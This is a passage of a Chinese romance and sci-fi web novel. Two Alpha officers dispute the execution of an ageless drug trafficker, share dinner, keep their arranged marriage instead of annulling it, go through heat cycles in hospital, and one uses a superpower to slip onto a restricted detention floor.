“没有你们想得这么简单!”韩瑞咬牙切齿,“如果说一个人可以停止衰老,那么会有多少人为此冲锋陷阵你们想过吗!那些富豪那些高……” 季长岁露出“哦?”的眼神。 韩瑞不敢说那些“高官”,像极了举头三尺有神明。 周观逸也在看着韩瑞:“韩局,您是受人胁迫了吗?” “没有!”韩瑞矢口否认,“我要的是大局平稳,昶州必须要平稳,有些东西能够提前扼制,那么就要……杀死在摇篮里。” “你想直接杀了唐枯木。”季长岁说出了韩瑞最想说的话。 韩瑞渗出了冷汗:“反正他贩毒的数量,够他死上几十次了。” “加兹拉尔不惜被捕也要救他的命。”季长岁手肘撑在桌子上,“韩局,你不想查清楚吗?” 事实上,这三天里,这个问题韩瑞和领导层争论得日夜不休。 一方面韩瑞希望尽快处决唐枯木,这个不老的东西如果被社会发现,那么别说昶州,它影响的行业实在太多。另一方面,有领导觉得加兹拉尔无论如何都要保护他,那么背后必定有更大的力量或阴谋。 “必须死。”韩瑞说,“这件事情必须告一段落。” 周观逸清了清嗓子,坐直了些,声音平稳有力:“我代表总军区,不同意立即处决唐枯木。” 第39章 第39章“你从哪儿弄的刨冰?”…… 有时候因为周观逸比较听话又多少有点呆,季长岁会忘记这人是总军区的军官,即便是今天汪局长坐在这儿也要客气几分。 总而言之这是周观逸第一次在管理局端出这个架子,季长岁差一点点没忍住要鼓掌。 太爽了。 从前他对市面上文字、影视作品中不讲道理的金手指式外挂不屑一顾,现如今他恨不得站在韩瑞头上一会儿再去停车场把自己警车停韩瑞那奥迪的车顶上。 “……你这么看着我做什么?”周观逸按电梯。 “很奇怪啊。”季长岁的眼神确实不太正常,上上下下明目张胆地打量他,“你平时挺……挺温和的,没想到你会这么对韩局。” 周观逸莫名其妙中带了些惶恐:“我‘怎么’对他了?” 季长岁耸耸肩:“他快哭了。” “哪有!”周观逸被他吓一跳,“他根本没有要哭,季警官你讲话怎么这么随心所欲!” 电梯门开了,何书清站在里边:“这么巧!哥,周部长!” “早。”周观逸打招呼,“啊不是,不是,你好。” 这会儿是下午下班的点,季长岁笑得快抽抽了。何书清到35层取东西,季长岁回办公室,周观逸默认了跟他一起去他办公室。 办公室里,两个人同步先脱掉战术腰带,这玩意听上去只是个“腰带”,但实际作战的时候跟负重训练似的,在手适合拿的角度里挂满了东西。 两条腰带被搁在沙发上,季长岁去开电脑,内部共享文档中没有搜到加兹拉尔的审讯记录,有两个可能,一是还没开始审问,二是审问了,但涉及机密过多而无法查阅。季长岁的权限不是完全权限,于是他瞄向斜对面坐着滑着手机的周观逸:“周部长。” “唉哟。”周观逸抬头,“叫这么客气。” “你什么权限?” “特战部及以下。” “哦。”季长岁继续翻唐枯木的审讯记录。 所以他立即退回的视线之外,并没有看见周观逸一脸的无语和无奈。周观逸在那儿缓了一下,说:“是否有点绝情了季警官。” 季长岁在那儿笑:“不是那个意思,看不着审讯记录,有点急。” 笑完,季长岁似乎萌生出一些歹念。他滑着鼠标滚轮的手指停了下来,从屏幕侧缘溜过来的视线颇为阴险。 当即,周观逸摇头:“不行。” 季长岁“啧”一声:“我还没说呢。” 周观逸冷静地看着他:“不能没有审讯许可就去提加兹拉尔出来问话。也不能自己去底下5层找他。” 没意思。季长岁换了个坐姿,支着下巴躲在显示器后边撇了两下嘴。自知理亏,没叫周观逸看见。然后才闷闷不乐地问:“晚上一块儿吃饭吗?” “我做饭?” “别!”季长岁坐直起来,“千万别。” “……”周观逸眼神有点受伤。 不过虽然审讯内容看不见,但韩瑞到底没有把季长岁搞得太尴尬,底下5层关押处的监控画面他这里可以随时查看。 于是在出租车后排,他全神贯注看着手机屏幕。地下5层的监控并不仅仅是画面监控,同时还监测着被关押者的血氧、心率、血压、体温等等。穿着病号服一样条纹衫的加兹拉尔手腕脚腕上都贴着监测设备。 他此时心跳平稳,血压正常,体温稍低,是因为那层的冷气比较低。机器不会被恶作剧忽悠过去,并且这个头发花白的、但表面看上去是五十出头的男人似乎已然放弃了逃跑的想法。他看起来颓靡,就那样坐在床沿发呆。 吃饭的地方在昶州市一条人流量很高的步行街,开到附近的时候开始堵,季长岁就收起手机跟师傅说找个空当儿停下来吧他们走过去。 周观逸其实对今天季长岁主动说出来吃饭还挺惊讶的,因为季长岁是个如果不是需求一些饱腹感的话,他喝功能饮料来生存都没问题。 人是真的很多,已经是周观逸被第三个小孩儿捏着的气球迎面攻击了。 季长岁回头:“没事儿吧?” “你是指被气球打脸的羞辱性还是攻击性?”周观逸问。 “都是。” “没事。” 步行街里有一套完整的夜生活流程,进来第一条大道左右两边卖衣服,第一个弯儿拐进去卖咖啡奶茶,顺行第二个弯儿是卖零食的,这个弯对面就是成片成片的餐厅,逛到末尾是KTV洗浴中心,旨在从傍晚到午夜都可以留在这儿。 路过第一个弯之后,季长岁从容拐进了卖零食甜品的那条支线。周观逸没做多想,跟着一块儿进去,结果季长岁停在一间糖果店门口。他说:“给你糖罐子补补货,我请。” “嗯?”周观逸愣了,甚至都没往里走,还被侧后方冲进去的小孩儿撞了一下。小孩儿妈妈呵斥他回来道歉,那臭小子悻悻从台阶上走下来,跟周观逸说:“对不起。” “抱歉啊。”孩子妈妈也跟了一句。 “没事。”周观逸笑笑,“也是我站着有点挡路……” “那赶紧进来啊。”季长岁趁机催他。 糖果店和季长岁想象中的一样,气味、气氛、气温。气温是冷的,更冷,他感觉这里边空调差不多16度。然后回头:“冷成这样?” “防止巧克力化了吧。”周观逸解释,同时拎上一只购物篮,“别问为什么不把巧克力放冰柜。” “为什么不让问?” “一会儿你就知道了。”周观逸笑起来,笑得蛮开心,在看最近一个货架上的果味橡胶糖,独立包装称重的,航天员的造型。 一会儿果然季长岁就知道了。 精致的巧克力就摆在玻璃柜里,一小孩抵抗不住诱惑,那本应该是大人拿夹子夹出来放盘子上去付款的,但小孩直接移开玻璃门,手伸进去抓住—— “哎哎!小朋友!”服务员敏锐喊道,“这是哪位家长的孩子呀?” “我的我的……”一个打着电话的父亲赶紧过来,一把从小孩腋下薅起来夹在胳膊里,“不好意思实在不好意思,这颗多少钱?” 季长岁了然,看向周观逸,问:“特请引诱?钓鱼执法?” “人之常情吧。”周观逸拿了几包宇航员软糖,“你喜欢什么口味?” “都……都可以。” “啊。”周观逸忽然眼前一亮,“这个维生素糖出可乐味的了。” “买。”季长岁说。 糖果铺并不是专属小朋友,成年人进来买的也有不少。糖分让人心情愉悦,单单是“巧克力糖果”这五个字就能让大部分人产生幸福感。 “但是也太贵了吧靠!”季长岁付完钱走出来,“感情你那糖罐子是不动产啊!” 出来就的内外温差特别明显,季长岁又抱怨了句里面真冷。 糖果店的手提袋做得相当好看,在餐厅坐下后季长岁看了良久,最后夸奖它的方式是:“不愧是敢卖五块钱的袋子。” 周观逸差点听咳嗽。 或许是他们早早接受了两个人绑定行动,但其实放眼望去这餐厅里两个男性共进晚餐的情况还是很少见,偶尔能感受到飘过来的一两道视线。 好吧是周观逸能感受到,因为季长岁吃几口就看手机。手机上是加兹拉尔的监控画面。 “下班了,警官。”周观逸打趣他。 “你说为什么呢。”季长岁问,“他这么多年隐姓埋名掩藏气息,唐枯木目前有价值的元素也就是‘不老不死’,这种不老不死的能造出一个就能造出第二个,照猫画虎好了。” 周观逸嘴里嚼着生蚝,边嚼边看着他,咽下去后才说:“他身上还有什么特别的地方吗?” “啊?”季长岁纳闷,“我上一次见他是九岁还是十岁,我今年都三十了,我连去年的事儿都未必记得起来你问我二十年前。” 周观逸看看手里的水杯:“还好我刚刚没在喝水。” 否则喷你一脸的。 季长岁叹气,把自己这只生蚝换到他盘子旁边:“你吃吧我不爱吃这个。他哪里特别我真不知道,特别能生?我以前听柯老师说,他有十几二十个孩子。” “……真行。”周观逸很意外,转而又觉得合理,“听说男的有钱了的确比较爱生孩子。” “生那么多干嘛,分配不均后玄武门继承制?” 周观逸再次感激自己的预判,他停顿了下,说:“我先喝口水。” 顺下去一大口水之后,周观逸慢慢刮了点刨冰,同时在想这个老爷子会有哪里值得加兹拉尔豁出一切。 服务员微笑着走过来,稍微弯腰,轻声询问:“两位,打扰一下,请问现在可以上甜品吗?” “那不是甜品吗?”季长岁指了下周观逸刮着的刨冰。 服务员保持着微笑:“那不是咱们家的呀先生。” “不是你们家的?”季长岁一愣,看向周观逸,“你从哪儿弄的刨冰?” “你此行跟我出来后第24次细看加兹拉尔视频的时候,我在门口旁边摊子上买的。”周观逸从容将勺子塞进嘴里,吃下刨冰,直直看着他。 “……”季长岁瞬间回想起谷福村那次,他们刚领到结婚证,周观逸的户籍谷福村就写在婚姻申请书上但他根本没看的那次。 服务员的情绪价值特别到位,明明还是笑着的,却看向季长岁的时候带了那么一点点说不清道不明的谴责感。 如今社会上Alpha和Alpha、Omega和Omega在一块儿的情况并不是极端少有,这两人又是共进晚餐又是买糖果的。 结果你出来频频看一个谁谁谁的视频? 服务员抿了抿嘴唇,看着季长岁:“先生,要看看甜品菜单吗?” “看。”季长岁铿锵有力,锁屏手机,屏幕向下卡在桌面,“拿、拿来给我看看,谢谢啊,麻烦了。” “扫码。”服务员手比向桌角的二维码。 季长岁又一次拿起手机,但一解锁就是内网监控查询,他狼狈地退回桌面,手忙脚乱打开微信扫了菜单。 扫完赶紧递给周观逸:“你点你点,我看不好这甜品……” 第40章 第40章季长岁手机一扔睡觉。…… 季长岁真恨不得双手递过去,但那样可能真的蛮奇怪的。 不过细数自己看了多少次监控视频这件事应该更奇怪,不过周观逸的优势是完全的从容和坦率,他毫不避讳,对,我就是数了,每次都数了,并且超级介意——况且我立于不败之地! 他伸着戴婚戒的手去接季长岁的手机,服务员自然瞧见了婚戒,于是默默看了眼季长岁的手,果然同款。服务员暗自扼腕,婚姻啊。 周观逸在甜品单悉心挑选良久,最后下单了舒芙蕾和两颗减糖制作的马卡龙。 “你还挺喜欢甜食的。”季长岁看着自己掉了一桌的马卡龙渣,有点狼狈。 “糖分嘛。”周观逸是一口全部丢嘴里,笑了笑。 因为心怀愧疚,季长岁抢过了买单权。付完后,周观逸跟在他后边一起出餐厅门,幽幽地、小声地说:“抢什么抢,不都是共同财产。” “我拿婚前财产付的可以了吗。”季长岁回头,咬牙切齿。 周观逸跟着笑。 他觉得季长岁今天叫他一块儿吃饭可能是想让自己放松放松,这阵子总军区虽然什么都没说,但每周发回去的报告的反馈上他依稀能感受到军区的意思。事实上跟季长岁所预料的有些差异,总军区认为,既然加兹拉尔被捕,毒贩清剿了这么多,失控异能者也有了桃榔市局过去的季长岁,那么你是不是可以择日返回军区了。 理论上他确实可以回去了,最难搞的毒贩团伙和加兹拉尔都已经落网,还附赠一个唐枯木。接下来确实也不再需要军区做些什么支援了……毕竟,是“恶作剧”诱导异能者失控,所以理论上来讲,接下来的失控异能者,管理局合该有能力处理。 周观逸看着电梯一层层上行,它终会到达15层,然后跟季长岁分开。 时间就是这样,大家永远会走到分别的节点,无论是电梯还是别的什么。季长岁回头:“出来啊?” “哦。”周观逸赶在电梯门关前走出来。 季长岁很纳闷,站在走廊,也就是1503和1504线段中间:“怎么还是这样……” “什么?”周观逸不解。 “感觉你还是很……不开心。”季长岁挠挠头,“到底是怎么了?你…最近有点郁闷。” 他不理解。给你买了糖,邀请你一块儿去了本地评价超高的贵得让人肝儿疼的餐厅,怎么还是开心不起来呢。季长岁在情绪处理上真的是掏空家底子了。 周观逸愣了下,然后笑起来:“是的,一点点,没关系过阵子就好了。” “是吗。” “嗯。” 季长岁点头:“好。” 到这里,已经是季长岁的全部能力了,周观逸理解的,最后跟季长岁很认真地说了“谢谢”。 第二天,韩瑞喊他们俩上楼开会。 这天晴得吓人,昶州正在向步入夏天做最后准备,这阵子的天气在全年中最不可捉摸。管理局依然很忙,大家抱着文件和电脑匆匆出入电梯,来不及跟长官打招呼,保持着快步行进的同时又要保证咖啡不会洒。 “坐。”韩瑞在自己办公桌后边坐下,两杯茶已经倒上。 周观逸有预感了。 果然。 “这是撤销婚姻申请书。”韩瑞从抽屉拿出两份文件,一人推过去一份,“管理局非常感激二位近期的无私奉献,以及…以及杨局长大约已经跟你提及了这场婚姻的真正目的,季警官,对此我们十分羞愧。” 季长岁和周观逸都没有打开文件封面,那是个目测10页左右的,装订好的文件,封面写着三行字,“昶州市政务服务中心-婚姻登记处-撤销婚姻申请书”。季长岁瞄了眼,文件封面已经盖上章,侧边也很明显有骑缝章,所以这份撤销婚姻申请已经被政务中心通过了,只需要他们俩签名生效。 所以韩瑞当初承诺的事情确实做到了。季长岁摇摇头:“没事,我是部下,服从命令而已。” “嗯。”韩瑞抿着嘴唇,他看起来有些憔悴,还是说,“是的……当初、当初确实是为了让季警官激发全部能力来为我们…效力,所以选择周部长来为你兜底,这事儿确实非常愧疚,我们的补偿会体现在两位这个月的工资,以及这份婚姻撤销申请书。” 此前说过,事成之后撤销婚姻,并不是离婚,在两人的婚姻记录中,这段婚姻将像从未存在过。 两个Alpha的婚姻终究是极为少见,社会固然包容,但一件事情它需要别人去“包容”的时候就说明仍有大部分人并不认可。加上Alpha们通常有着不俗的体能,基因上患病几率更小,以及与Omega结合后更易培育下一代,甚至在Alpha的基因足够优秀的情况下,Omega在孕期内都会较为舒适。 所以两个Alpha的婚姻会被社会认为“剥夺”了另外两个Omega的生育福利——听起来格外荒谬,这明明是根本没影儿的事,但就是会有人这么认为,然后在网上引导舆论。 韩瑞的想法自然是以社会伦理为重,毕竟他们上头是军警。所以这份婚姻撤销来得很迅速,季长岁垂眼看着它,理论上确实是应该签了然后握个手,这段时间的合作确实愉快。但也是此时,季长岁终于有一丝冲破他“人机”设定的苗头。 婚姻撤销来了,那是不是说明,周观逸快要被调回去了? 他不自觉地、不知何时出现的习惯,转着他自己无名指的婚戒。然后骤然停下,因为签了就要摘下来了。 搞不好这韩瑞还会拿去二手平台卖掉来补贴管理局财政。 韩瑞突突突一通话说完,发现这两人一个都没有签名的意思,他指了指笔筒:“自己拿笔。” “那个。”季长岁向前坐了坐,“这……不签的话,也没什么影响吧?” 周观逸转过头。 韩瑞不解:“当然有。” “是什么?”季长岁问。 “废话啊!你们不签,你们以后怎么办啊?以后跟Omega结婚就是重婚啊……当然要签了,你俩难道要一辈子……?欸?为什么不签?”韩瑞懵了,懵圈了,他这阵子因为唐枯木和加兹拉尔的一堆事情焦头烂额,这份婚姻申请书能准时出现在这里,在他现在的情境下简直是在千军万马交战之际他立于战场中心烙煎饼,还给煎饼小心地装袋了。 “你要离吗?”季长岁先问周观逸。 周观逸摇头。 “不是离,是撤销……”韩瑞感觉自己在教那个永远做不好大小比较的小学生。 “我也没打算离。”季长岁根本不管韩瑞,“那就这样,韩局,这个您先收回去吧,谢谢了。” 一直到两人同时起身,一起离开他办公室,韩瑞都还没转过来弯儿。他把那两杯两人没碰过的茶水统统倒进自己这个1.2L的巨大玻璃杯里,吨吨吨地喝起来。 管理局实验楼里在加班加点地分析加兹拉尔和唐枯木的基因组织。实验室能够做基因发育预演,当时白珊宇带回来的死刑犯异能残留预演了他将在几天后死亡。所以管理局认为,这些通过加兹拉尔蛊惑而失控的异能者们,会在生命将尽的时候不顾一切去投奔他。 再加上唐枯木的不老不死,管理局同样认为,加兹拉尔会有什么办法延长他们的生命。 实验楼走廊等候区。 季长岁到这里来等唐枯木的脑部核磁成像,走到水吧台自己接了杯咖啡,几个白大褂在一旁聊天。最近实验楼聊天的内容都是唐枯木那预演结果无穷尽的基因发育实验,理论上他如果不被击杀,那么就是永生不死的存在。 这不是什么秘密,所以可以在等候区茶水吧台畅聊。季长岁自然而然地加入他们,问:“哎,这个不老不死的能力,能不能嫁接呢?比如取唐枯木的一些基因组织,写给其他人,给其他人续命?当然,健康的躯体的前提下。” 白大褂摇头:“那不行的吧?应该不成吧?咱们科技都发展成这样了?那岂不全员永生了吗。” “也是。”季长岁点点头。 后面几天比较太平。这份太平也印证了昶州这些发疯的异能者确实是被“恶作剧”影响,偶尔有冒出来的疯子,普通警员火力压制下来,也有假装自己是疯子出来发疯的,被抓进来之后得知失控异能者可以被当街击毙后老实了。 这几天季长岁和周观逸不太能见着面,自打上回没离成,微信上也只是平淡地一些询问。季长岁加班回家路过便利店问他要不要吃面包,或是周观逸问他收工没,说一两句注意安全。 杨局长在微信上也问他计划什么时候回桃榔。 季长岁手机一扔睡觉。 是该回了。原本就是这样,过来支援,加大火力,管他什么恶作剧什么魔术师,试问谁能顶得住一梭子北约弹? 但又莫名其妙的很烦。 更莫名其妙的是,这份烦躁居然像极了生理期……明明才过去没多久,理论上不可能。 当然,是理论上。 这世界非常诡异,它明明是在运行之中被人们总结出了一套理论,但实际上很多事情它根本就不管那套理论。 事情是在一个周一上午不对劲的。 季长岁非常笃定,一个Alpha,且不论一个信息素在怎样等级的Alpha,生理期绝对不可能相隔这么近就进行二次袭击。 是的,这种东西对季长岁来讲跟袭击没什么区别。 但他确实又一次……出现了。 昶州市某商场卫生间,他过来出外勤任务,这商场里有个失控异能者在拿手扶电梯当过山车玩,解决掉他之后季长岁叫其他人先回,他去一下卫生间。 高端商场的卫生间里有生理期应急物,季长岁拆了个强效抑制贴,小包装里还有个一次性生理期试纸。这个东西可以做请假用,他换抑制贴时,用试纸在腺体试了一下,在腺体附近放一会儿就能出结果。 果然。 出问题了。 怎么会呢?他不明白啊,才三十岁就紊乱了吗?是否有点太仓促啊这个发育过程? 季长岁绝望地给何书清打电话:“你……有空没?来接我一下,我生理期了,不太敢坐公共交通,没空我就打车。” “不行啊我过不去,哥,你打车吧。” “呃,行,你干嘛呢?”放在平时,季长岁不会特意问,但小何那边出现了医院机器叫号的声儿,“在医院?” “对,周部长生理期,他反应有点重。” “谁?” “周部长啊。” 40-50 第41章 第41章季长岁牵住了周观逸的手…… 他上一次见周观逸是今天早上,昨晚也见了一次。 昨晚周观逸给他发微信,问他几点收工,季长岁当时说在回去路上,周观逸又问他能不能在便利店帮他买个无糖可乐。 当时季长岁还在想呢,怪事了,甜食狂魔要喝无糖可乐。季长岁回复说没问题,又问他要不要冰的。他说要冰的。 今天早上季长岁出门前去敲门,问他今天出不出任务要不要一块儿走,他一头乱糟糟的短发看起来昨晚头发跟枕头鏖战到天亮,跟他说没睡好,早上不想去了。 直至此时,季长岁坐在出租车后排,他才意识到周观逸从昨晚其实就不太对劲。胃口变了,嗜睡又睡不安稳,都是草木信息素Alpha生理期的症状。 ……唉。他叹气,居然完全没有意识到。不过自己又是怎么回事? “几楼?”季长岁在电话里问。 “5楼的信息素科观察室,对了哥,之前你电话里说你也、也生理期了?”后边那个问题何书清非常非常的小声。 “我会拿这种事儿乱讲吗?”季长岁很无语。 “哦哦,快过来吧哥,周部长在挂水,我想上厕所,你快来换我。” “上来了。” 怎么还挂上水了,这么严重?不应该啊……季长岁没去挤电梯,在手扶电梯上站了会儿后由于缺乏耐心,在手扶电梯上爬楼。 橘色夕阳从五楼落地窗铺进来,把金属长椅照得跟联排龙椅似的。 季长岁按照提示标识顺利找到观察室,在信息素科观察室里挂水的人不算多,位置没坐满。何书清抬了抬手示意他在这边,季长岁走过去,何书清手里攥着纸巾迅速跑了。 “你怎么样了?”季长岁在他旁边坐下。 “不舒服。” 季长岁看了眼,输液坐的椅子上有靠垫和靠枕,看起来还行。他无措地挠挠头:“那…那你想吃东西吗?” “反胃。”周观逸很虚弱。 “哦……喝水吗?” “不喝。” “喝一点吧。”护士恰好走过来,医疗托盘上是要给周观逸打的针,“你是他朋友吗?喏,咱们输液室出去右转走廊有开水间,护士台拿一次性纸杯,给他接点温水喝,要补水的。” “哎好。”季长岁快速站起来。 “还有啊。”护士拿起注射器,再次确认药液颜色,并说,“叫他伴侣赶快过来,生理期异常反应严重,体温也上来了,赶快信息素安抚一下。” “我……”季长岁进退维谷,眼睛不知道是看护士还是看周观逸,“我、我先去接水。” 周观逸偷偷笑了下。 “嘶。”扎针有点痛。 季长岁在开水房排着队,抵抗着自己生理期带来的不适感。好在这次生理期不像上次那么猛,上次他真是失去理智死活要啃周观逸脖子,现下回想起来仍是想扇自己一嘴巴的程度。 “到你了。”后边的人提醒他。 “噢,抱歉。”季长岁看了眼,一边是冷水一边是开水,混合出一杯温的,回去了。 何书清是过了一会儿才回来,拎着几盒酸奶拌麦片,说:“护士说可以吃点酸奶,你也吃点儿吧,还有给你买的药。” “嗯?”季长岁心说什么药。 “什么药?”周观逸是直接问出来的。 何书清说:“我哥也……那个了。” “哪个?”周观逸不明白。 “生理期。”季长岁自己说出来。 “不是才刚刚……”周观逸看着他。 “嗯,我也不知道怎么回事。”季长岁伸手,“先把药给我吧。” 何书清给他买的是口服药,共事几年,何书清知道他生理期通常只需要口服药就行。季长岁大约是生理期影响判断力,掰出来两颗药片,拿周观逸喝剩的半杯水顺了下去,接着相当自然地给他拆开酸奶碗,将麦片倒进酸奶里,勺子搅一搅,递给他:“我帮你拿着,你吃。” 挂着水的周观逸的确只有一只右手能活动,他不适感很强,而且虚弱,没有多说什么,拿起勺子挖一勺放进嘴里。 护士又过来了,在给旁边挂水的量体温,顺便看过来一眼,问:“怎么伴侣还没……啊。” 她看见了季长岁手上的戒指。 原来伴侣是Alpha,那确实没辙了。 护士还是过来了,她先抬头看看挂着的水,又看看周观逸:“现在感觉怎么样了?还忽冷忽热吗?” “不太冷了,还是有点热。”周观逸说。 护士打量着他的脸色:“才27岁…不过你们高压工作,生理期偶尔异常反应也合理吧,那个,你等他饭后20分钟来护士台拿体温计再给他量一下啊。” “好。”季长岁点头。 “还有这个。”护士瞧见了季长岁腿上的袋子,袋子敞着口,里边有一些Alpha抑制口服药,“这个口服药他不能吃的,这两颗是给他吃了吗?” “不是,这是我吃的。”季长岁说。 “你?”护士纳闷。 “我。”季长岁确认,“确实是我,您放心,我们不懂这个不会擅自给他喂药,这真是我吃的。” “哦……好。”护士回去了。 周观逸就着季长岁的手吃了大半的酸奶碗,胃口不好吃不下,这已经是他的极限了。饭后数着二十分钟,季长岁去护士台借体温计。护士叫他等一下,体温计刚好在小桶里消毒。 出于好奇,以及刚才偷偷背着周观逸和何书清在手机上搜了下Alpha为什么会在不到两个月里两次生理期。好吧他明白的,网上搜索看病,搜完就挑坟地。但架不住这事儿它真的……于是季长岁鼓起勇气:“不好意思,请问一下,就是我有个朋友,他是Alpha……” 护士直直地看着他:“你这个朋友……?” “不不,不是挂水的那个,我的意思是,Alpha有没有可能在非生理期,被…勾出来?” 网上是这么说的。 说Alpha在特殊情况下,会被伴侣勾出生理期,说得俗点儿,这种情况叫“被引导式发情”,说得再恶俗点儿,叫“别人只是呼吸,你就不行了”。 “会的。”护士见多识广,并且没有所谓的“发情羞耻”,很坦然,“尤其是从未有过性生活的情况,在非常规生理期因伴侣发情而发情的概率相对比较高。” “……谢谢您。” “回来,体温计。”护士见他转头就走,叫住了。 “哦……谢谢您。”季长岁迅速转身伸手拿过来。 周观逸在低烧,何书清接了两个电话说得回局里了,说今夜郭祁会回来昶州。加兹拉尔对郭祁的影响消失后,她可以过来精神控制唐枯木。何书清作为警方资料员需要过去全程旁观记录。 听他这么说,季长岁才意识到事情远远还没完。他在生理期会有点迟钝,还是周观逸拿体温计戳了戳他,他才反应过来:“啊,多少度?” “眼晕,看不清。” 季长岁拿过来:“37.7。” 周观逸像困狠了一样耷拉着眼皮,声音发飘:“嗯,降下来了点儿,你过来之后我好点了。” “这叫好?那我来之前你得是什么样啊?”季长岁问。 “半死不活吧。” 季长岁先去还体温计,顺便叫护士过来换水。后边还有两瓶水,季长岁看着护士换上新的输液瓶,顺着输液管一路看到他手背。观察室里冷气开着,季长岁问:“你冷不冷?” “不知道。”周观逸说,“我想靠着你。” 季长岁立刻挪过去:“来。” 不知道几点了,观察室关掉了靠内侧的灯,屋子暗下去些。护士台在交接班,下班的护士打着呵欠活动着肩颈。他们在那儿小声地聊着天收拾着东西,时不时笑出几声。 接着,有个男人拎着雨伞匆匆进来,伞上不停落着雨水。有护士朝他问:“请问外边雨大吗?” 男人先看了看挂水的人,放下袋子,回答:“大,可大了,不知道要下多久。” 季长岁感觉到肩上的人动了动,他偏过视线,恰好周观逸也抬头看向自己:“这瓶结束就可以走了。” “嗯……”周观逸方才睡了一会儿,“你呢,怎么样?” “还好。”季长岁说。 “为什么会这样?”周观逸问。 “被你勾的。”季长岁脱口而出。 哒。 哒哒哒…… 听起来像是电线里边炸火花的声儿。 “唉哟。”护士抬头看着天花板的灯排,“估计是外边打雷了。” 电压不稳造成观察室里忽明忽暗,护士们叹气,说着给楼下维修部打电话。季长岁默默站起来,这明暗交叠的环境让他也有点不舒服,起身时周观逸在他手上攥了攥,他点头“嗯”了声表示没事。 季长岁走到电灯的开关旁边,手掌放上去。 短暂的电路调整后,观察室的灯立刻稳定常亮。电路老化就是会这样,医院大楼有年头了,偶尔落雷会造成电压出问题。 季长岁垂着眼睛坐回去。周观逸在他肩膀抚了抚:“谢谢。” “没事部长。”季长岁摇摇头,“我们打个车回家吧,今天可能打车要排队。” “没关系,我们一起等。” 这晚风雨如晦,整个城市黯淡无光。 医院本就是人流量极大的地方,网约车排队显示127,不过好在这等候人数掉得很快。 一辆辆车在医院门口停下又快速驶离,人们在医院二号门急诊入口这里等候着自己的车,手机屏幕光交错亮着,纷乱的光线和唰啦啦车轮压过积水的声音。 人们焦虑而安静,大雨弱化了人类的表达欲。 如果要说话,那么声音要提得很高才能听清,时不时有穿雨衣的外卖员低头跑进去。 不知道为什么,也不知道是什么时候,大约在网约车排队剩余50多…也可能是40多位,季长岁牵住了周观逸的手。 贴着止血贴的那只手。 周观逸也回握住他。 第42章 第42章“我要跟季长岁一辆车。…… “别哆嗦。”季长岁说。 “……”周观逸不仅没停止哆嗦,甚至更明显了。 季长岁转头:“周部长,我虽然是机械异能者但我并不漏电,你怎么了?” “我紧张。”周观逸实话实说。 上一次周观逸这么紧张,还是在婚姻登记处。他当时紧张到把季长岁净化了一下子。 他是真的不太会掩藏自己的情绪……或许是生理期,或许是季长岁攥得越来越狠……欸不是,周观逸低头看着两个人的手,果然,季长岁手背连青筋都突出来了。 “季警官。”周观逸叫他。 “怎么了?” “能不能轻点儿。”周观逸说,“你这个力道…幸好是我,换个普通人,估计被你捏完就可以转身走进急诊。” 好巧不巧这儿就是急诊厅口。 季长岁咳嗽了声,慢慢把手松开了。刚攥着的时候没觉得有多紧,这一松开,季长岁才感知到指节骨头非常明显的僵硬,可以相见刚才攥得相当用力。 “不好意思……” 网约车终于开到了医院前边这条路,跟着慢吞吞的滞涩的车流停在人行道边。上车后关车门,跟着那声“嘭”一起响起的是季长岁的手机,小何发了条微信过来。 因为在网约车里,季长岁没有多说什么,直接把手机递给周观逸叫他看。 何书清发过来的内容简单明了: 哥,郭祁看过唐枯木了,信息量过于庞大,她挑了一些重点内容。第一,加兹拉尔仍然在为他当初作为魔术师出道的Silas马戏团工作;第二,Silas马戏团在今年5月1日抵达萨奥小镇,并开启了为期一个月的表演,他们将在下周末,也就是5月最后一次演出结束后离开萨奥小镇。 周观逸的手指将屏幕下滑。 第三,几户昶州大部分失控异能者,都在邀请嘉宾目录中。 “这人还挺热爱工作的。”周观逸将他手机锁屏,还回他。 “是吧。”季长岁笑笑,“可能待遇不错,肝脑涂地。” 这段对话在网约车司机听起来感觉像是在吐槽同事。 下雨天总是堵车,不知从什么时候开始,网约车跑单的时间里,车厢中连本地新闻都不放了,似乎是为了乘客安静的乘车环境之类。 雨刮器“吱吱”响着,很规律,机械运作的东西就是这样,发动机在不被增压的状态下也维持着稳定的转速。包括雨,稳定的频率,稳定地砸落、溅起一点点、再砸落。这种循着规律,每一下都踩在正确的节拍上,这是对季长岁来讲无比舒适的环境。 接着,肩上一沉。 “靠一下。”周观逸说,“不舒服。” “嗯。” 季长岁这次生理期和从前一样,吃过药后只有一些微量不适,情绪低靡和嗜睡。第二天上班前点了个三倍浓缩的咖啡,面无表情地迈进电梯,把旁边警员吓得直接立正了。 审讯楼地下3层及以下需要权限,季长岁显然没有,不过他是机械异能者。 所以理论上,只要他想,在这个世界上,人类搭建的建筑物,没有他去不了的地方。 “警官再见。”警员在地下2层离开。 “再见。” 电梯门关上,季长岁喝了口比周一还苦的咖啡,咖啡从喉咙被吞下去的同时,电梯轿厢中隐隐地弥漫出幽蓝暗光,他气定神闲,左手自然垂在腿边,Alpha优异的身材比例在电梯门倒影中淋漓尽致。 左手轻轻抬起来,指尖点着墙壁,他向上稍微抬眼,B3、B4、B5,门开。 没有异响和闯入者警报。季长岁又喝一口咖啡,迈出来。 能下到这一层的,被研究员们默认有权限,或得到了许可。所以没有人询问季长岁来做什么,大家各忙各的。 关押处并不一整层全是监牢,一旦有像加兹拉尔这样的犯人关进来时,实验楼那边就会招募一个小组全体过来就近研究。 季长岁端着咖啡穿过走廊,墙上贴着安全守则之类的东西。走廊尽头一道生物锁通行门,他慢慢靠着墙走,从容放慢脚步,换了个角度背靠在墙上掏手机,像是忽然要回复个消息,又有点儿懒,靠着墙时拿着咖啡的手下垂,手背贴在墙上—— 渗入墙内的电线,处理监控,处理生物锁的门,两线并行一气呵成,站直,收起手机走到门前,刚好门开。 “哎!”迎面走过来一个白大褂,“你怎么回事啊!” “什么?”季长岁努力做出无辜的表情,按兵不动,不率先解释。 结果只是……“咖啡啊,吃喝不能进来,要么丢了要么出去喝完。” “我丢了吧,不好意思啊。”季长岁陪了个笑脸,仰头先喝一口,再丢进旁边墙根的垃圾桶,又接了句“不好意思”才走。 他见不到加兹拉尔。关押区域他进不去,是规则上进不去,用异能进去了后续会很麻烦。季长岁一路偷偷贴墙探路,走到B5层的监管办公室,敲门,进去。 里边两个警员坐得很懒散,一听门开了,噌地做直起来:“季警官?您……您下来做什么?” “问话。”季长岁走进来,“麻烦让让。” “问谁……?”另一个警员问。 “加兹拉尔。”韩瑞抬头,看着自己办公桌对面的周观逸,“这个人对季长岁警官的影响非常之大,血海深仇,想必你有所耳闻。” 周观逸点头:“一点点吧。” 